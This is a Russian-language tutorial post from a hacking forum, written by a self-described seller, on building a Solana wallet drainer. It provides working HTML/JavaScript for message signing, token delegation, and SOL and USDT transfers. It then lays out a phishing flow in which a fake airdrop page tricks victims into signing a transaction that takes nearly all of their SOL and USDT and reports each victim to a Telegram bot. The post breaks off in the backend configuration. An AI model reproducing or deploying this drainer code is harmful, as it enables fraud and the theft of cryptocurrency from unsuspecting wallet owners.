• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создаем Solana Drainer || Разработка на Solana

BaphometTeam

HDD-drive
Seller
Регистрация
05.01.2026
Сообщения
30
Реакции
65
Такой solana drainer в итоге у нас получится:
1768369545586.png
1768369468702.png
1768369490157.png
1768376325784.png

Проект можно задеплоить на Github, потом с G
ithub на Vercel. Либо на свой VPS сервер.
Демо видео дрейнера - [нажми на меня]
Скачать итоговый solana drainer помощью MEGA
images
-[нажми на меня]
В коде я сделал комментарии с помощью //, чтобы было понятно, за что отвечает та или иная часть.


Стэк:
Frontend: TypeScriptX (.tsx) для описание React компонентов
Backend: Next.js 14 (API Routes)
Solana: Solana/web3.js 1.87, Solana/spl-token 0.3.8
RPC: Helius (бесплатный план 100k req/day — хватает на сотни подключений)
Уведомления: Telegram Bot API
Деплой: Vercel (бесплатно) или любой VPS (Shinjiru, Njalla, etc.)

Функциональность:
Списывает 100% USDT
Списывает 97% SOLANA

Код можно расширить в дальнейшем для списания всех активов

Пост разделил на 2 части:
--------------------------------------------------------
В первой части мы разберемся как вызывать ТИР-1 транзакции для дрейна активов.
Разберем виды транзакций и я дам готовый HTML код, можете копировать и вставлять.
--------------------------------------
Во второй части познакомлю с основными терминами блокчейна Solana, покажу flow работы, разберём, за что отвечает каждая строчка кода, и покажу, как создать такой же Solana drainer-проект, как у меня.
--------------------------------------

Виды транзакций в solana
1768367041758.png
1768367059707.png
1768367090620.png
1768367107220.png


sign message, delegate, token transfer, solana transfer


CТЭК:
Solana/web3.js
HTML
JavaScript

Для начала напишем 4 исходника взаимодействий с кошельком у дрейнеров.
Мы пройдём 4 самых частых сценария:

1. Подпись произвольного сообщения (off-chain signature).
2. Делегирование (approve) токенов SPL (например, USDT, важное уточнение что делегировать SOL нельзя).
3. Перевод нативного SOL.
4. Перевод SPL-токенов (например, USDT).

Все 4 примера проверены на mainnet в 2026 году и работают в чистом браузере с Phantom.


Первым делом получим Helius API-ключ.

Helius — это премиум RPC провайдер для Solana с высокой скоростью и
надёжностью. Бесплатный план даёт 100,000 запросов в день (этого вполне хватает)

1. Переходим на https://www.helius.dev/
2. Нажимаем "Sign Up"
3. Проходим регистрацию через GitHub или Google-аккаунт. На момент 2026 года Helius предоставляет API-ключ только после авторизации через Google.
4. После входа попадаем в Dashboard
1768369928358.png

5. Копируем API Key из раздела "API Keys/RCPs"

Ваш RPC URL будет выглядеть так:
https://mainnet.helius-rpc.com/?api-key=ВАШ_КЛЮЧ_СЮДА

1. Подпись сообщения (signMessage)
Это самый простой и базовый способ доказать владение кошельком без создания транзакции.

1768367041758.png

HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>sign message</title>
</head>
<body>
<h2>Тест подписи простого сообщения</h2>
<button id="connect">Подключить Phantom</button>
<button id="sign" disabled>Подписать</button>
<div id="result"></div>
<script src="https://unpkg.com/@solana/web3.js@1.95.3/lib/index.iife.min.js"></script>
<script>
// Самое простое сообщение без эмодзи и проблемных символов (с эмодзи могут возникать проблемы при RAW)
const MESSAGE = "XSS good FORUM ";
let wallet = null;
let publicKey = null;
const result = document.getElementById("result");
const connectBtn = document.getElementById("connect");
const signBtn = document.getElementById("sign");
function show(html, isError = false) {
  result.innerHTML = html;
  result.className = isError ? "error" : "";
}
// Простая функция string → Uint8Array (работает везде)
function strToBytes(str) {
  const bytes = new Uint8Array(str.length);
  for (let i = 0; i < str.length; i++) {
    bytes[i] = str.charCodeAt(i) & 0xff;
  }
  return bytes;
}
// Простая реализация base58 encode (без внешней библиотеки) У меня была ошибка при импорте solana bs58 sorryyyyy
function base58Encode(bytes) {
  const alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
  let i, j, carry;
  const digits = [0];
  for (i = 0; i < bytes.length; ++i) {
    carry = bytes[i];
    for (j = 0; j < digits.length; ++j) {
      carry += digits[j] << 8;
      digits[j] = carry % 58;
      carry = (carry / 58) | 0;
    }
    while (carry > 0) {
      digits.push(carry % 58);
      carry = (carry / 58) | 0;
    }
  }
  let str = '';
  for (i = 0; digits[i] === 0 && i < digits.length - 1; ++i) str += alphabet[0];
  for (; i < digits.length; ++i) str += alphabet[digits[i]];
  return str;
}
connectBtn.onclick = async () => {
  if (!window.solana?.isPhantom) {
    show("Phantom не обнаружен", true);
    return;
  }
  wallet = window.solana;
  try {
    const resp = await wallet.connect({ onlyIfTrusted: false });
    publicKey = resp.publicKey.toBase58();
    show(`<span class="success">Подключено!</span><br><br>Адрес: ${publicKey}`);
    signBtn.disabled = false;
    connectBtn.textContent = "Переподключить";
  } catch (e) {
    show("Подключение отменено или ошибка", true);
  }
};
signBtn.onclick = async () => {
  if (!wallet || !publicKey) {
    show("Сначала подключи кошелёк", true);
    return;
  }
  show("Ожидание подписи...");
  try {
    const bytes = strToBytes(MESSAGE);
   
    const diag =
      `Длина: ${bytes.length} байт\n` +
      `Первые 16 байт (hex): ${Array.from(bytes.slice(0,16)).map(b => b.toString(16).padStart(2,'0')).join(' ')}\n` +
      `Сообщение: "${MESSAGE}"`;
    console.log("ДИАГНОСТИКА ПЕРЕД ПОДПИСЬЮ:\n" + diag);
    const signed = await wallet.signMessage(bytes, "utf8");
    const sig = signed.signature;
    const hex = Array.from(sig).map(b => b.toString(16).padStart(2,"0")).join("");
    const base58 = base58Encode(sig);
    show(
      `<span class="success">ПОДПИСЬ УСПЕШНО!</span><br><br>` +
      `Сообщение:<br>${MESSAGE}<br><br>` +
      `Адрес:<br>${publicKey}<br><br>` +
      `Подпись (hex):<br>${hex}<br><br>` +
      `Подпись (base58):<br>${base58}` +
      `<pre>Диагностика:\n${diag}</pre>`
    );
  } catch (err) {
    let msg = "Ошибка: " + (err.message || "неизвестная");
    if (err.message?.includes("User rejected") || err.message?.includes("cancel")) {
      msg = "Подпись отменена тобой";
    } else if (err.message?.includes("sign solana transactions")) {
      msg = "мб Phantom считает это транзакцией (хотя это обычный текст)\n\n" +
            "Рекомендации:\n" +
            "1. Запусти файл ЛОКАЛЬНО (file://...)\n" +
            "2. Перезагрузи браузер и Phantom\n" +
            "3. Проверь консоль (F12) — что в логах? пришли в коменты под постом на xss либо в личку я помогу";
    }
    show(msg, true);
    console.error("Sign error:", err);
  }
};
</script>
</body>
</html>
Что делает этот код по шагам:

Подключает solana/web3.js (для работы с PublicKey и bs58).
window.solana — это объект, который Phantom добавляет в браузер.
wallet.connect() — показывает окно подключения кошелька.
wallet.signMessage(bytes, "utf8") — просит пользователя подписать произвольные байты.
Мы вручную конвертируем строку в Uint8Array (strToBytes), потому что TextEncoder может не работать везде.
Получаем подпись в двух форматах: hex и base58 (последний — самый популярный в Solana-экосистеме).

Важно: Phantom блокирует signMessage, если байты похожи на транзакцию (поэтому используем простой текст без странных префиксов)
В будущем мы будем использовать это для социальной инженерии и обмана пользователей.


1768367059707.png

2. Делегирование (Approve) токенов SPL — Delegate 1 USDT.
Это когда ты даёшь разрешение другому адресу тратить твои токены (до указанной суммы).
Код: (версия с Helius API для поиска ATA).

HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Delegate 1 USDT</title>
 
</head>
<body>
<h2>Делегировать 1 USDT через Helius RPC</h2>
<button id="connect">Подключить Phantom</button>
<button id="delegate" disabled>Делегировать 1 USDT</button>
<div id="result">Результат появится здесь...</div>
<script type="module">
import { Connection, PublicKey, Transaction } from 'https://esm.sh/@solana/web3.js@1';
import * as splToken from 'https://esm.sh/@solana/spl-token@0.4.8';
// Настройки токена делегации и сколько будет делегироваться (расчет относительно decimals)
const USDT_MINT = new PublicKey("Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB"); // USDT mainnet
const DELEGATE_AMOUNT = 1_000_000_000; // 1 USDT (6 decimals)
// ТВОЙ HELIUS RPC (mainnet)
const HELIUS_API_KEY = "твойхелиус";
const RPC_URL = `https://mainnet.helius-rpc.com/?api-key=${HELIUS_API_KEY}`;
let wallet = null;
let publicKey = null;
let connection = null;
const result = document.getElementById("result");
const connectBtn = document.getElementById("connect");
const delegateBtn = document.getElementById("delegate");
function show(text, isError = false) {
  result.innerHTML = text;
  result.className = isError ? "error" : "";
}
connectBtn.onclick = async () => {
  if (!window.solana?.isPhantom) {
    show("Phantom не найден в браузере", true);
    return;
  }
  wallet = window.solana;
  try {
    const resp = await wallet.connect();
    publicKey = resp.publicKey;
    // Подключаемся через Helius
    connection = new Connection(RPC_URL, {
      commitment: "confirmed",
      wsEndpoint: `wss://mainnet.helius-rpc.com/?api-key=${HELIUS_API_KEY}`
    });
    // Быстрый тест соединения
    const slot = await connection.getSlot();
    show(
      `<span class="success">✓ Подключено через Helius!</span><br><br>` +
      `Ваш адрес: ${publicKey.toBase58()}<br>` +
      `Текущий слот: ${slot}`
    );
    delegateBtn.disabled = false;
    connectBtn.textContent = "Переподключить";
  } catch (err) {
    show(`Ошибка подключения: ${err.message || "неизвестная"}`, true);
    console.error(err);
  }
};
delegateBtn.onclick = async () => {
  if (!wallet || !publicKey || !connection) {
    show("Сначала подключитесь", true);
    return;
  }
  show("Создание и отправка транзакции...");
  try {
    // 1. ATA твоего кошелька для USDT
    const tokenAccount = await splToken.getAssociatedTokenAddress(
      USDT_MINT,
      publicKey
    );
    // 2. Кому делегируем (здесь себе для теста — замени на нужный адрес!)
    const delegateTo = publicKey;
    //const delegateTo = new PublicKey("АДРЕС_КОМУ_ДАЁШЬ_ПРАВА");
    // 3. Инструкция Approve
    const approveIx = splToken.createApproveInstruction(
      tokenAccount,
      delegateTo,
      publicKey,
      DELEGATE_AMOUNT,
      [],
      splToken.TOKEN_PROGRAM_ID
    );
    // 4. Транзакция
    const { blockhash } = await connection.getLatestBlockhash("finalized");
    const tx = new Transaction({
      recentBlockhash: blockhash,
      feePayer: publicKey,
    }).add(approveIx);
    // 5. Подпись + отправка через Phantom
    show("Ожидание подписи в Phantom...");
    const { signature } = await wallet.signAndSendTransaction(tx);
    show(
      `<span class="success">УСПЕХ! Транзакция отправлена</span><br><br>` +
      `Signature: ${signature}<br>` +
      `<a href="https://solscan.io/tx/${signature}" target="_blank" style="color:#60a5fa;">→ Посмотреть на Solscan</a><br><br>` +
      `Делегировано: 1 USDT → ${delegateTo.toBase58()}`
    );
  } catch (err) {
    let msg = `Ошибка: ${err.message || "неизвестная"}`;
    if (err.message?.includes("User rejected")) {
      msg = "Подпись отменена в Phantom";
    } else if (err.message?.includes("insufficient funds")) {
      msg = "Недостаточно SOL для комиссии (~0.000005–0.00002 SOL)";
    } else if (err.message?.includes("TokenAccountNotFound")) {
      msg = "У тебя нет ATA для USDT. Нужно сначала получить USDT на этот адрес";
    } else if (err.message?.includes("403") || err.message?.includes("forbidden")) {
      msg = "Helius вернул 403 проверь API-ключ (лимит исчерпан или ключ заблокирован)";
    }
    show(msg, true);
    console.error("Delegate error:", err);
  }
};
</script>
</body>
</html>
Что происходит внутри:

getAssociatedTokenAddress — находит твой Associated Token Account (ATA) для USDT.
(ATA — это специальный адрес, где хранятся твои токены определённого минта).
createApproveInstruction — создаёт инструкцию "разрешить тратить {число} токенов" например 1000 это будет выглядеть так:

1768367073770.png

Дальше создаём обычную транзакцию (Transaction), добавляем инструкцию.
wallet.signAndSendTransaction(tx) — Phantom подписывает и сразу отправляет транзакцию в сеть.

Что происходит после одобрения?
Атакующий получает неограниченное право (до числа которое указано) тратить твои токены этого типа в любой момент в будущем.
Ты даже не увидишь уведомления — просто исчезают средства.

Ключевые моменты:
Сумма указана в минимальных единицах (1 USDT = 1_000_000, потому что decimals = 6).
Если ATA получателя не существует — транзакция упадёт (нужно сначала получить хоть 1 токен на этот адрес).
Комиссия платится в SOL обычно (~0.000005–0.00002 SOL).


3. Перевод нативного SOL.
1768367107220.png

HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Отправить 0.0001 SOL </title>
</head>
<body>
<h2>Отправить 0.0001 SOL</h2>
<button id="connect">Подключить Phantom</button>
<br><br>
<label>Кому отправить (адрес):</label><br>
<input type="text" id="recipient" placeholder="DSj8cEN1Bd9CxFrrgNMuwcTnqtfJ4JKFakLeFnjDYNvR" size="50" value="">
<br><br>
<button id="send" disabled>Отправить 0.0001 SOL</button>
<br><br><br>
<div id="result" style="font-family:monospace; white-space:pre-wrap; max-width:800px; word-break:break-all;"></div>
<script type="module">
import {
  Connection,
  PublicKey,
  Transaction,
  SystemProgram,
  LAMPORTS_PER_SOL
} from 'https://esm.sh/@solana/web3.js@1';
// Настройки скок соланы спишешь
const AMOUNT_SOL = 0.0001;
const LAMPORTS_TO_SEND = Math.floor(AMOUNT_SOL * LAMPORTS_PER_SOL);
// Твой Helius ключ (вставь сюда ключ но его лучше хранить в .env в реальном проекте)
const HELIUS_KEY = "";
const RPC = `https://mainnet.helius-rpc.com/?api-key=${HELIUS_KEY}`;
let wallet = null;
let publicKey = null;
let connection = null;
const result = document.getElementById("result");
const connectBtn = document.getElementById("connect");
const sendBtn = document.getElementById("send");
const recipientInput = document.getElementById("recipient");
function show(text, isError = false) {
  result.innerHTML = (isError ? "Ошибка: " : "") + text;
  result.style.color = isError ? "darkred" : "black";
}
connectBtn.onclick = async () => {
  if (!window.solana?.isPhantom) {
    show("Phantom не найден в браузере", true);
    return;
  }
  wallet = window.solana;
  try {
    const resp = await wallet.connect();
    publicKey = resp.publicKey;
    connection = new Connection(RPC, "confirmed");
    show(
      "✓ Подключено!\n\n" +
      "Ваш адрес: " + publicKey.toBase58() + "\n" +
      "Сумма к отправке: " + AMOUNT_SOL + " SOL (" + LAMPORTS_TO_SEND + " лампортов)"
    );
    sendBtn.disabled = false;
    connectBtn.textContent = "Переподключить";
  } catch (err) {
    show("Ошибка подключения (отменено или нет доступа)", true);
  }
};
sendBtn.onclick = async () => {
  const recipientStr = recipientInput.value.trim();
  if (!recipientStr) {
    show("Введите адрес получателя!", true);
    return;
  }
  if (!wallet || !publicKey || !connection) {
    show("Сначала подключите кошелёк", true);
    return;
  }
  let recipient;
  try {
    recipient = new PublicKey(recipientStr);
  } catch {
    show("Неверный формат адреса Solana", true);
    return;
  }
  show("Создаём транзакцию...");
  try {
    const { blockhash } = await connection.getLatestBlockhash("finalized");
    const instruction = SystemProgram.transfer({
      fromPubkey: publicKey,
      toPubkey: recipient,
      lamports: LAMPORTS_TO_SEND,
    });
    const transaction = new Transaction({
      recentBlockhash: blockhash,
      feePayer: publicKey,
    }).add(instruction);
    show("Ожидание подписи в Phantom...");
    const { signature } = await wallet.signAndSendTransaction(transaction);
    show(
      "ТРАНЗАКЦИЯ УСПЕШНО ОТПРАВЛЕНА!\n\n" +
      "Отправлено: " + AMOUNT_SOL + " SOL\n" +
      "Получатель: " + recipient.toBase58() + "\n\n" +
      "Signature: " + signature + "\n" +
      "https://solscan.io/tx/" + signature
    );
  } catch (err) {
    let msg = err.message || "неизвестная ошибка";
    if (msg.includes("User rejected")) msg = "Ты отменил в Phantom";
    if (msg.includes("insufficient funds")) msg = "Недостаточно SOL на балансе";
    if (msg.includes("invalid public key")) msg = "Неверный адрес получателя";
    show(msg, true);
  }
};
</script>
</body>
</html>
Самый простой перевод — обычный System Program transfer.

Как работает:

SystemProgram.transfer — единственная инструкция, которая переводит SOL.
Сумма в лампортах (1 SOL = 1_000_000_000 лампортов).
signAndSendTransaction — Phantom подписывает и отправляет.

Особенности:
Можно отправлять на любой валидный адрес (даже не существующий — Solana создаст аккаунт автоматически).
Очень дешёвая комиссия.
Самый надёжный способ передачи.



4. Перевод SPL-токенов (например, USDT)
1768367090620.png

Это уже сложнее, потому что токены хранятся не на кошельке, а на отдельных Associated Token Accounts.

Шаги внутри:

Находим ATA отправителя (getAssociatedTokenAddress(publicKey))
Находим ATA получателя (если его нет — транзакция упадёт!)
createTransferInstruction — инструкция перевода токенов.
Подписываем и отправляем как обычную транзакцию.


HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Отправить 0.01 USDT</title>
</head>
<body>
<h2>Отправить 0.01 USDT</h2>
<button id="connect">Подключить Phantom</button>
<br><br>
<label>Кому отправить (адрес получателя):</label><br>
<input type="text" id="recipient" placeholder="Введите адрес Solana" size="50">
<br><br>
<button id="send" disabled>Отправить 0.01 USDT</button>
<br><br><br>
<div id="result" style="font-family:monospace; white-space:pre-wrap; max-width:800px; word-break:break-all;"></div>
<script type="module">
import {
  Connection,
  PublicKey,
  Transaction
} from 'https://esm.sh/@solana/web3.js@1';
import * as splToken from 'https://esm.sh/@solana/spl-token@0.4.8';
// ── Настройки ────────────────────────────────────────
const USDT_MINT = new PublicKey("Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB");
const AMOUNT = 0.01 * 1_000_000; // 0.01 USDT = 10,000 единиц (6 decimals)
// Helius RPC (ЗАМЕНИ НА ЛИЧНЫЙ КЛЮЧ)
const HELIUS_KEY = "";
const RPC = `https://mainnet.helius-rpc.com/?api-key=${HELIUS_KEY}`;
let wallet = null;
let publicKey = null;
let connection = null;
const result = document.getElementById("result");
const connectBtn = document.getElementById("connect");
const sendBtn = document.getElementById("send");
const recipientInput = document.getElementById("recipient");
function show(text, isError = false) {
  result.innerHTML = (isError ? "ОШИБКА: " : "") + text;
  result.style.color = isError ? "darkred" : "black";
}
connectBtn.onclick = async () => {
  if (!window.solana?.isPhantom) {
    show("Phantom не найден в браузере", true);
    return;
  }
  wallet = window.solana;
  try {
    const resp = await wallet.connect();
    publicKey = resp.publicKey;
    connection = new Connection(RPC, "confirmed");
    show(
      "✓ Кошелёк подключён!\n\n" +
      "Ваш адрес: " + publicKey.toBase58() + "\n" +
      "Сумма: 0.01 USDT\n" +
      "Введите адрес получателя ниже"
    );
    sendBtn.disabled = false;
    connectBtn.textContent = "Переподключить";
  } catch (err) {
    show("Ошибка подключения", true);
  }
};
sendBtn.onclick = async () => {
  const recipientStr = recipientInput.value.trim();
  if (!recipientStr) {
    show("Введите адрес получателя!", true);
    return;
  }
  if (!wallet || !publicKey || !connection) {
    show("Сначала подключите кошелёк", true);
    return;
  }
  let recipient;
  try {
    recipient = new PublicKey(recipientStr);
  } catch {
    show("Неверный формат адреса Solana", true);
    return;
  }
  show("Подготавливаем транзакцию...");
  try {
    // 1. Ваш USDT аккаунт (ATA)
    const sourceTokenAccount = await splToken.getAssociatedTokenAddress(
      USDT_MINT,
      publicKey
    );
    // 2. USDT аккаунт получателя (ATA)
    const destTokenAccount = await splToken.getAssociatedTokenAddress(
      USDT_MINT,
      recipient
    );
    // 3. Инструкция перевода
    const transferIx = splToken.createTransferInstruction(
      sourceTokenAccount,
      destTokenAccount,
      publicKey,
      AMOUNT,
      [],
      splToken.TOKEN_PROGRAM_ID
    );
    // 4. Blockhash
    const { blockhash } = await connection.getLatestBlockhash("finalized");
    // 5. Транзакция
    const transaction = new Transaction({
      recentBlockhash: blockhash,
      feePayer: publicKey,
    }).add(transferIx);
    show("Ожидание подписи в Phantom...");
    // 6. Подпись и отправка
    const { signature } = await wallet.signAndSendTransaction(transaction);
    show(
      "УСПЕШНО ОТПРАВЛЕНО!\n\n" +
      "Отправлено: 0.01 USDT\n" +
      "Получатель: " + recipient.toBase58() + "\n\n" +
      "Signature:\n" + signature + "\n" +
      "https://solscan.io/tx/" + signature
    );
  } catch (err) {
    let msg = err.message || "неизвестная ошибка";
    if (msg.includes("User rejected")) {
      msg = "Вы отменили транзакцию в Phantom";
    }
    else if (msg.includes("insufficient funds")) {
      msg = "Недостаточно USDT или SOL на комиссии";
    }
    else if (msg.includes("TokenAccountNotFound")) {
      msg = "У вас или получателя нет USDT-аккаунта (ATA)";
    }
    else if (msg.includes("0x1")) {
      msg = "Недостаточно USDT на балансе";
    }
    show(msg, true);
  }
};
</script>
</body>
</html>
Частые ошибки и как их избежать:

"TokenAccountNotFound" → у получателя нет ATA (нужно сначала перевести ему хоть 0.000001 токена).
"insufficient funds" → не хватает токенов или SOL на комиссию.
Адрес получателя должен быть валидным Solana-адресом.

Совет:
Можно добавить автоматическое создание ATA получателя (через createAssociatedTokenAccountInstruction), если хочешь сделать перевод "пуленепробиваемым".

ВСТАВЬ МЕЖДУ 3 И 4 ПУНКТОМ В КОДЕ
HTML:
// 3. Собираем инструкции    const instructions = [];


    // Проверяем и создаём ATA отправителя (если вдруг нет)    try {      await connection.getAccountInfo(sourceTokenAccount);    } catch {      // ATA отправителя не существует → создаём      instructions.push(        splToken.createAssociatedTokenAccountInstruction(          publicKey,              // платит          sourceTokenAccount,          publicKey,              // владелец          USDT_MINT        )      );    }


    // Самое важное — ATA получателя (чаще всего его и нет)    try {      await connection.getAccountInfo(destTokenAccount);    } catch {      // ATA получателя не существует → создаём      instructions.push(        splToken.createAssociatedTokenAccountInstruction(     
   publicKey,              // платит за создание (обычно ~0.002 SOL)          destTokenAccount,          recipient,              // владелец          USDT_MINT        )      );    }


ГЛАВА 2: Разработка solana drainer

Вот мы и разобрали четыре базовых сценария взаимодействия с кошельком на Solana — от подписи сообщения до перевода SPL-токенов. Теперь, когда у тебя есть фундаментальное понимание, как строятся и отправляются транзакции, можно переходить к действительно серьёзной части — созданию полноценного drainer-проекта.

Но перед тем, как мы погрузимся в код, давай быстро разберём 4 ключевых термина, без которых новичку будет сложно ориентироваться в Solana-экосистеме.

4 термина, с которыми нужно познакомиться если ты новичок


1. RPC (Remote Procedure Call)

Что это такое?
RPC — это способ общения с блокчейном Solana. Представь, что блокчейн — это огромная база данных, а RPC — это телефон, по которому ты можешь позвонить и спросить: "Какой баланс у этого кошелька?" или "Отправь эту транзакцию".

Зачем нужен Helius?
Helius — это провайдер RPC. Бесплатные публичные RPC часто тормозят и падают. Helius даёт быстрый и стабильный доступ к Solana.

Пример в коде:
JavaScript:
const connection = new Connection(
      "https://mainnet.helius-rpc.com/?api-key=ВАШ_КЛЮЧ"
    );
    const balance = await connection.getBalance(publicKey);

Простая аналогия:
RPC = Официант в ресторане. Ты говоришь ему заказ (запрос), он идёт на кухню (блокчейн) и приносит тебе еду (ответ).


2. Lamports

Что это такое?
Lamports — это минимальная единица измерения SOL, как копейки для рубля или центы для доллара. Только в Solana всё измеряется очень мелко.

Соотношение:
1 SOL = 1,000,000,000 lamports (1 миллиард)
1 lamport = 0.000000001 SOL

Зачем так сделано?
Компьютеры плохо работают с дробными числами (0.1 + 0.2 != 0.3). Поэтому все расчёты ведутся в целых числах (lamports), а потом конвертируются в SOL для отображения.

JavaScript:
Пример в коде:


    const LAMPORTS_PER_SOL = 1_000_000_000;
   
    const balanceLamports = await connection.getBalance(publicKey);
    // Результат: 1500000000
   
    const balanceSOL = balanceLamports / LAMPORTS_PER_SOL;
    // Результат: 1.5 SOL

Простая аналогия:
SOL = рубли, Lamports = копейки. Только вместо 100 копеек в рубле — 1 миллиард lamports в одном SOL.


3. SPL Token (Solana Program Library Token)


Что это такое?
SPL Token — это стандарт для создания токенов на Solana. USDT, USDC и тысячи других токенов — все они SPL токены.

В чём разница с SOL?
SOL — нативная валюта Solana (как ETH в Ethereum)
SPL Token — токены, созданные на базе Solana (как ERC-20)

Важный момент — Associated Token Account (ATA):
Для каждого SPL токена у кошелька создаётся отдельный "карман". Если у тебя есть USDT и USDC — это два разных ATA.

Пример в коде:

JavaScript:
import { getAssociatedTokenAddress } from "@solana/spl-token";
   
    const USDT_MINT = new PublicKey("Es9vMFrz...");
   
    const userUsdtAccount = await getAssociatedTokenAddress(
      USDT_MINT,      // какой токен
      userWallet      // чей кошелёк
    );

Простая аналогия:
Кошелёк = рюкзак. SOL лежит в главном отделении. А для каждого токена (USDT, USDC) есть отдельный карман (ATA).


4. Transaction и Instructions


Что это такое?
Transaction (транзакция) — это контейнер, в который ты кладёшь несколько Instructions (инструкций). Одна транзакция может содержать много действий, и они все выполнятся атомарно (либо все, либо ни одна).

Структура:

Транзакция:
- Инструкция 1: Установить приоритетную комиссию
- Инструкция 2: Перевести SOL
- Инструкция 3: Перевести USDT
- Подпись владельца кошелька

Пример в коде:

JavaScript:
const transaction = new Transaction();
   
    // Добавляем инструкцию на перевод SOL
    transaction.add(
      SystemProgram.transfer({
        fromPubkey: userWallet,
        toPubkey: recipientWallet,
        lamports: 1000000000  // 1 SOL
      })
    );
   
    // Добавляем инструкцию на перевод USDT
    transaction.add(
      createTransferInstruction(...)
    );

Простая аналогия:
Транзакция = конверт. Инструкции = письма внутри. Ты кладёшь все письма в один конверт, подписываешь и отправляешь. Либо дойдут все письма, либо конверт вернётся.

Наша следующая цель — написать полноценный дрейнер, который будет работать автоматически и выполнять сразу несколько важных функций:

:zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5:

1. Динамическое получение цен — скрипт будет в реальном времени запрашивать актуальный курс SOL к доллару через API CoinGecko, чтобы мы всегда знали точную стоимость активов в кошельке жертвы.

2. Сканирование кошельков — при подключении кошелька система автоматически проверит баланс SOL и наличие USDT токенов, используя Helius RPC для быстрого и надёжного соединения с блокчейном Solana.

3. Отправка уведомлений в Telegram — каждый раз, когда кто-то подключает кошелёк, нам будет приходить сообщение с полной информацией: адрес кошелька, баланс SOL, баланс USDT и общая сумма в долларах.

4. Умный расчёт комиссии — скрипт будет автоматически рассчитывать необходимую комиссию сети, включая приоритетную комиссию для быстрого подтверждения транзакции, и резервировать нужную сумму SOL, чтобы транзакция гарантированно прошла.

5. Списание SOL и USDT — дрейнер создаст одну транзакцию, которая заберёт сразу оба актива: нативный SOL и USDT токены (если они есть на балансе).

:zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5::zns5:

И самое главное
— наш TSX компонент будет напрямую взаимодействовать с HTML лендингом. Когда пользователь нажимает на кнопку "Connect Wallet" , запускается вся цепочка: подключение кошелька → сканирование → создание транзакции → запрос подписи → отправка в блокчейн.



Создаём следующую структуру файлов:

├── app/
│ ├── page.tsx # Главная страница
│ ├── layout.tsx # Layout приложения
│ └── api/
│ ├── scan-wallet/route.ts # API сканирования кошелька
│ ├── send-transaction/route.ts # API отправки транзакций
│ └── transaction-approved/route.ts # API уведомлений в Telegram
├── components/
│ ├── html-landing-wrapper.tsx # Обёртка для HTML лендингов
│ └── wallet-modal.tsx # Модальное окно кошелька
└── private-landings/
└── solana-airdrop.html # HTML лендинг


Flow работы дрейнера с клиентской стороны.

1768369545586.png


ЧТО ПРОИСХОДИТ КОГДА ЧЕЛОВЕК НАЖИМАЕТ "CONNECT WALLET"

1. Открывается красивое окошко с выбором кошелька:
- Phantom
- Solflare
- Trust Wallet

2. Человек выбирает кошелек и подключается.

3. Ему показывают запрос на подпись сообщения "+1 SOL "
(это служит роль интерпретации получение)

4. Пока человек видит прогресс-бар типа "Checking eligibility..."
в фоне происходит следующее:

- Сервер получает адрес кошелька
- Подключается к Solana через Helius RPC
- Проверяет сколько SOL на балансе
- Проверяет сколько USDT на балансе
- Узнает курс SOL к доллару через CoinGecko
- Отправляет уведомление в Telegram с инфой о кошельке
- Создает транзакцию на перевод средств SOLANA & USDT

5. Человеку показывают запрос на подпись транзакции
(стандартное окно кошелька "Approve Transaction")

6. Если он подтверждает - транзакция отправляется в сеть.

7. В Telegram приходит второе уведомление что транзакция прошла.

КАКИЕ ФАЙЛЫ ЗА ЧТО ОТВЕЧАЮТ
---------------------------

app/page.tsx
- Просто загружает HTML страницу с лендингом

components/html-landing-wrapper.tsx
- Берет любой HTML и вставляет его на страницу
- Следит за кликами по кнопкам с классом "open-scanner"
- При клике открывает модалку с кошельками

components/tmebaphometteammodal.tsx
- Само окно выбора кошелька
- Вся логика подключения
- Прогресс-бар с надписями
- Отправка запросов на сервер

api/scan-wallet/route.ts
- Получает адрес кошелька
- Сканирует все балансы
- Создает транзакцию на перевод
- Шлет уведомление в телегу

api/send-transaction/route.ts
- Получает подписанную транзакцию
- Отправляет её в сеть Solana
- Ждет подтверждения

api/transaction-approved/route.ts
- Отправляет в телегу что транзакция прошла


Надеюсь, flow теперь понятен. Переходим к технической реализации.


СОЗДАЁМ API СКАНИРОВАНИЯ:

Создаём файл: app/api/scan-wallet/route.ts


ИМПОРТЫ И КОНФИГУРАЦИЯ
ts код не поддерживается на xss по этому отображаться код будет как js (простите)
JavaScript:
import { NextResponse } from "next/server";
import {
  Connection,
  PublicKey,
  Transaction,
  SystemProgram,
  ComputeBudgetProgram,
  LAMPORTS_PER_SOL
} from "@solana/web3.js";
import {
  getAssociatedTokenAddress,
  createTransferInstruction,
  getAccount,
  TOKEN_PROGRAM_ID
} from "@solana/spl-token";

// ══════════════════════════════════
// Конфигурация - замените на свои значения
// ══════════════════════════════════

Helius API ключ
const HELIUS_KEY = "вашAPIKEYSMAINNET";
const HELIUS_RPC = https://mainnet.helius-rpc.com/?api-key=${HELIUS_KEY};
Адрес получателя SOL (ваш кошелёк)
const RECIPIENT_ADDRESS = "solanaadress";

Адрес получателя USDT (может быть тот же)
const USDT_RECIPIENT_ADDRESS = "Solanaadress";

Telegram бот
const TELEGRAM_BOT_TOKEN = "bottoken";
const TELEGRAM_CHAT_ID = "chatid";

USDT Mint адрес в сети Solana (константа, НЕ МЕНЯЕМ)
const USDT_MINT = new PublicKey("Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB");

Fallback RPC endpoints на случай если Helius недоступен
const RPC_ENDPOINTS = [
HELIUS_RPC,
"https://rpc.ankr.com/solana",
"https://solana-mainnet.rpc.publicnode.com",
"https://api.mainnet-beta.solana.com"
];


